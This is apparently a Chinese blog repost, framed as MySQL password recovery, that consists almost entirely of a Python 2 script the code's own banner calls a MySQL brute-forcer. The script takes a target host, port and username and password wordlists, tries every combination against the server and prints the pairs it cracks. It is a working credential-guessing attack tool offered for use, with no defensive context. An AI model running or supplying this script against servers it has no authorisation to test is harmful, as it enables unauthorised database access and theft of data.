Python找回MySQL密碼

一個博友寫得,可以用來找回密碼

# -*- coding: utf_8 -*-
import MySQLdb
import os
import sys
def README():
    print '+' + '-' * 50 + '+'
    print '\t           Python MySQL爆破'
    print '\t            author : sanr'
    print '\t           Time:2015-5-13'
    print '\t   mysql默認字典在程序目錄mysql目錄'
    print '+' + '-' * 50 + '+'
    if len(sys.argv) != 5:
        print  os.path.basename(sys.argv[0]) + " host port user.txt pass.txt"
        sys.exit()
 
def    mysql_brute(name,pwd):
   db = None
   try:
      db = MySQLdb.connect(host=sys.argv[1],user=name,passwd=pwd,db='mysql',port=int(sys.argv[2]))
      print '破解成功: %s %s'% (name,pwd)
   except:
      pass
   finally    :
      if db:
         db.close()
if __name__ == '__main__':
   README()
   userlist = [i.rstrip() for i in open('mysql/'+sys.argv[3])]
   passlist = [j.rstrip() for j in open('mysql/'+sys.argv[4])]
   for    name in userlist:
      for pwd in passlist:
         mysql_brute(name,pwd)


發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章